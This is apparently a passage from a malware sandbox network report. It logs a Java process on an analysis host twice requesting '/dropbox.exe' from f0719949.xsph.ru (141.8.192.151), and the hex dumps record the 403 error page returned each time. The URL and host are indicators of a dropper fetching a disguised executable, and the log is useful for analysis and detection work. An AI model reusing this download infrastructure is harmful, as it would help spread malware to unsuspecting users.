Sep 20, 2022 03:51:01.221716881 CEST	6	IN	Data Raw: 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d Data Ascii: webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;height:100%;max-width:328px;max-height:384px;-webkit-box-pack:center;-webkit-justify-content:center;-mo
Sep 20, 2022 03:51:01.221755028 CEST	7	IN	Data Raw: 68 74 73 20 2e 79 65 61 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 30 35 70 78 29 7b 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 70 Data Ascii: hts .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-left:77px}.wrapper .content .right-side{top:unset;bottom:52px;position:absolute;right:61px}}@media screen and (max-width:1105px) and (max-height:720px){.w
Sep 20, 2022 03:51:01.221790075 CEST	9	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 c2 a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 62 6c 6f 63 6b 5f 5f 74 69 74 6c Data Ascii: <h1 class="error-block__title"> </h1> <p class="error-block__desc">, </p>
Sep 20, 2022 03:51:01.221838951 CEST	10	IN	Data Raw: 2e 32 38 20 39 33 2e 38 38 38 31 20 31 37 30 2e 36 36 33 20 39 33 2e 33 31 35 32 43 31 37 31 2e 36 31 39 20 39 31 2e 39 37 38 36 20 31 37 32 2e 37 36 37 20 39 30 2e 36 34 31 39 20 31 37 33 2e 31 34 39 20 38 38 2e 39 32 33 34 43 31 37 33 2e 33 34 Data Ascii: .28 93.8881 170.663 93.3152C171.619 91.9786 172.767 90.6419 173.149 88.9234C173.34 87.7777 172.575 87.2048 172.193 87.0139C171.428 86.441 170.471 86.632 169.706 87.0139C168.75 87.5867 168.559 88.7324 167.794 89.4962C167.411 90.0691 166.646 89.
Sep 20, 2022 03:51:01.221903086 CEST	12	IN	Data Raw: 32 33 32 20 38 37 2e 35 38 35 39 20 31 38 39 2e 35 39 38 20 38 37 2e 35 38 35 39 20 31 38 36 2e 31 35 35 20 38 37 2e 35 38 35 39 43 31 38 35 2e 30 30 38 20 38 37 2e 35 38 35 39 20 31 38 35 2e 30 30 38 20 38 39 2e 34 39 35 34 20 31 38 36 2e 31 35 Data Ascii: 232 87.5859 189.598 87.5859 186.155 87.5859C185.008 87.5859 185.008 89.4954 186.155 89.4954C189.789 89.3045 193.423 89.4954 196.866 89.8773C197.44 89.8773 197.822 89.4954 197.822 88.9226C197.822 88.3497 197.44 87.9678 196.866 87.9678Z" fill="b
Sep 20, 2022 03:51:01.221940041 CEST	13	IN	Data Raw: 32 2e 36 38 37 20 37 37 2e 34 36 37 20 32 32 33 2e 30 36 39 20 36 39 2e 30 36 35 32 43 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 43 32 32 37 2e 30 Data Ascii: 2.687 77.467 223.069 69.0652C223.069 68.8742 223.069 68.8742 223.069 68.8742C227.086 54.553 235.502 41.5683 237.797 26.6742C238.562 26.2923 238.753 25.1466 237.797 24.9557C226.703 22.6643 215.419 25.5285 205.282 29.9204C199.926 32.2118 194.762
Sep 20, 2022 03:51:01.221976042 CEST	14	IN	Data Raw: 34 31 2e 38 31 37 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 43 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 33 2e 31 35 34 43 38 33 2e 32 35 34 35 20 31 34 33 Data Ascii: 41.817 83.2545 142.963C83.2545 142.963 83.2545 142.963 83.2545 143.154C83.2545 143.345 83.4458 143.536 83.4458 143.727C79.0467 147.928 73.6912 152.51 68.9096 155.757C64.893 150.028 60.4939 144.681 55.7123 139.526C53.2259 136.853 48.0617 130.93
Sep 20, 2022 03:51:01.222011089 CEST	16	IN	Data Raw: 33 2e 39 36 35 33 20 31 37 34 2e 30 38 38 43 39 34 2e 31 35 36 36 20 31 37 34 2e 32 37 39 20 39 34 2e 33 34 37 39 20 31 37 34 2e 34 37 20 39 34 2e 33 34 37 39 20 31 37 34 2e 38 35 32 43 39 34 2e 37 33 30 34 20 31 37 35 2e 34 32 34 20 39 35 2e 31 Data Ascii: 3.9653 174.088C94.1566 174.279 94.3479 174.47 94.3479 174.852C94.7304 175.424 95.1129 175.806 95.4955 176.379C96.4518 177.525 97.4081 178.48 98.747 179.053C99.1295 179.243 99.512 179.625 99.8946 179.625C100.086 179.625 100.086 179.625 100.277
Sep 20, 2022 03:51:01.282613993 CEST	17	IN	Data Raw: 30 38 43 31 31 37 2e 38 37 33 20 33 35 32 2e 32 34 34 20 31 31 36 2e 37 32 36 20 33 35 33 2e 37 37 32 20 31 31 35 2e 35 37 38 20 33 35 35 2e 31 30 39 43 31 31 33 2e 32 38 33 20 33 35 38 2e 31 36 34 20 31 31 31 2e 31 37 39 20 33 36 31 2e 36 30 31 Data Ascii: 08C117.873 352.244 116.726 353.772 115.578 355.109C113.283 358.164 111.179 361.601 109.267 364.847C108.884 365.42 109.267 366.375 110.032 366.375C119.212 366.184 128.393 365.611 137.574 364.656C141.973 364.083 146.563 363.701 150.962 362.938C1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49714	141.8.192.151	80	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Timestamp	kBytes transferred	Direction	Data
Sep 20, 2022 03:51:12.229080915 CEST	175	OUT	GET /dropbox.exe HTTP/1.1 User-Agent: Java/1.8.0_211 Host: f0719949.xsph.ru Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2 Connection: keep-alive
Sep 20, 2022 03:51:12.292723894 CEST	176	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 20 Sep 2022 01:51:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74 Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height
Sep 20, 2022 03:51:12.292798996 CEST	178	IN	Data Raw: 3a 34 35 30 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 20 2e 65 72 72 6f 72 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 64 69 73 70 6c 61 Data Ascii: :450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-fle
Sep 20, 2022 03:51:12.292836905 CEST	179	IN	Data Raw: 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d Data Ascii: webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;height:100%;max-width:328px;max-height:384px;-webkit-box-pack:center;-webkit-justify-content:center;-mo
Sep 20, 2022 03:51:12.292876005 CEST	181	IN	Data Raw: 68 74 73 20 2e 79 65 61 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 30 35 70 78 29 7b 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 70 Data Ascii: hts .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-left:77px}.wrapper .content .right-side{top:unset;bottom:52px;position:absolute;right:61px}}@media screen and (max-width:1105px) and (max-height:720px){.w
Sep 20, 2022 03:51:12.292916059 CEST	182	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 c2 a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 62 6c 6f 63 6b 5f 5f 74 69 74 6c Data Ascii: <h1 class="error-block__title"> </h1> <p class="error-block__desc">, </p>
Sep 20, 2022 03:51:12.292953968 CEST	183	IN	Data Raw: 2e 32 38 20 39 33 2e 38 38 38 31 20 31 37 30 2e 36 36 33 20 39 33 2e 33 31 35 32 43 31 37 31 2e 36 31 39 20 39 31 2e 39 37 38 36 20 31 37 32 2e 37 36 37 20 39 30 2e 36 34 31 39 20 31 37 33 2e 31 34 39 20 38 38 2e 39 32 33 34 43 31 37 33 2e 33 34 Data Ascii: .28 93.8881 170.663 93.3152C171.619 91.9786 172.767 90.6419 173.149 88.9234C173.34 87.7777 172.575 87.2048 172.193 87.0139C171.428 86.441 170.471 86.632 169.706 87.0139C168.75 87.5867 168.559 88.7324 167.794 89.4962C167.411 90.0691 166.646 89.
Sep 20, 2022 03:51:12.293020010 CEST	185	IN	Data Raw: 32 33 32 20 38 37 2e 35 38 35 39 20 31 38 39 2e 35 39 38 20 38 37 2e 35 38 35 39 20 31 38 36 2e 31 35 35 20 38 37 2e 35 38 35 39 43 31 38 35 2e 30 30 38 20 38 37 2e 35 38 35 39 20 31 38 35 2e 30 30 38 20 38 39 2e 34 39 35 34 20 31 38 36 2e 31 35 Data Ascii: 232 87.5859 189.598 87.5859 186.155 87.5859C185.008 87.5859 185.008 89.4954 186.155 89.4954C189.789 89.3045 193.423 89.4954 196.866 89.8773C197.44 89.8773 197.822 89.4954 197.822 88.9226C197.822 88.3497 197.44 87.9678 196.866 87.9678Z" fill="b
Sep 20, 2022 03:51:12.293059111 CEST	186	IN	Data Raw: 32 2e 36 38 37 20 37 37 2e 34 36 37 20 32 32 33 2e 30 36 39 20 36 39 2e 30 36 35 32 43 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 43 32 32 37 2e 30 Data Ascii: 2.687 77.467 223.069 69.0652C223.069 68.8742 223.069 68.8742 223.069 68.8742C227.086 54.553 235.502 41.5683 237.797 26.6742C238.562 26.2923 238.753 25.1466 237.797 24.9557C226.703 22.6643 215.419 25.5285 205.282 29.9204C199.926 32.2118 194.762
Sep 20, 2022 03:51:12.293098927 CEST	187	IN	Data Raw: 34 31 2e 38 31 37 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 43 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 33 2e 31 35 34 43 38 33 2e 32 35 34 35 20 31 34 33 Data Ascii: 41.817 83.2545 142.963C83.2545 142.963 83.2545 142.963 83.2545 143.154C83.2545 143.345 83.4458 143.536 83.4458 143.727C79.0467 147.928 73.6912 152.51 68.9096 155.757C64.893 150.028 60.4939 144.681 55.7123 139.526C53.2259 136.853 48.0617 130.93
Sep 20, 2022 03:51:12.293138027 CEST	189	IN	Data Raw: 33 2e 39 36 35 33 20 31 37 34 2e 30 38 38 43 39 34 2e 31 35 36 36 20 31 37 34 2e 32 37 39 20 39 34 2e 33 34 37 39 20 31 37 34 2e 34 37 20 39 34 2e 33 34 37 39 20 31 37 34 2e 38 35 32 43 39 34 2e 37 33 30 34 20 31 37 35 2e 34 32 34 20 39 35 2e 31 Data Ascii: 3.9653 174.088C94.1566 174.279 94.3479 174.47 94.3479 174.852C94.7304 175.424 95.1129 175.806 95.4955 176.379C96.4518 177.525 97.4081 178.48 98.747 179.053C99.1295 179.243 99.512 179.625 99.8946 179.625C100.086 179.625 100.086 179.625 100.277
Sep 20, 2022 03:51:12.356832981 CEST	190	IN	Data Raw: 30 38 43 31 31 37 2e 38 37 33 20 33 35 32 2e 32 34 34 20 31 31 36 2e 37 32 36 20 33 35 33 2e 37 37 32 20 31 31 35 2e 35 37 38 20 33 35 35 2e 31 30 39 43 31 31 33 2e 32 38 33 20 33 35 38 2e 31 36 34 20 31 31 31 2e 31 37 39 20 33 36 31 2e 36 30 31 Data Ascii: 08C117.873 352.244 116.726 353.772 115.578 355.109C113.283 358.164 111.179 361.601 109.267 364.847C108.884 365.42 109.267 366.375 110.032 366.375C119.212 366.184 128.393 365.611 137.574 364.656C141.973 364.083 146.563 363.701 150.962 362.938C1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49716	141.8.192.151	80	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Timestamp	kBytes transferred	Direction	Data
Sep 20, 2022 03:51:20.480207920 CEST	238	OUT	GET /dropbox.exe HTTP/1.1 User-Agent: Java/1.8.0_211 Host: f0719949.xsph.ru Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2 Connection: keep-alive
Sep 20, 2022 03:51:20.541675091 CEST	239	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 20 Sep 2022 01:51:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74 Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height
Sep 20, 2022 03:51:20.541718006 CEST	240	IN	Data Raw: 3a 34 35 30 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 20 2e 65 72 72 6f 72 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 64 69 73 70 6c 61 Data Ascii: :450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-fle
Sep 20, 2022 03:51:20.541755915 CEST	242	IN	Data Raw: 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d Data Ascii: webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;height:100%;max-width:328px;max-height:384px;-webkit-box-pack:center;-webkit-justify-content:center;-mo
Sep 20, 2022 03:51:20.541794062 CEST	243	IN	Data Raw: 68 74 73 20 2e 79 65 61 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 30 35 70 78 29 7b 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 70 Data Ascii: hts .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-left:77px}.wrapper .content .right-side{top:unset;bottom:52px;position:absolute;right:61px}}@media screen and (max-width:1105px) and (max-height:720px){.w
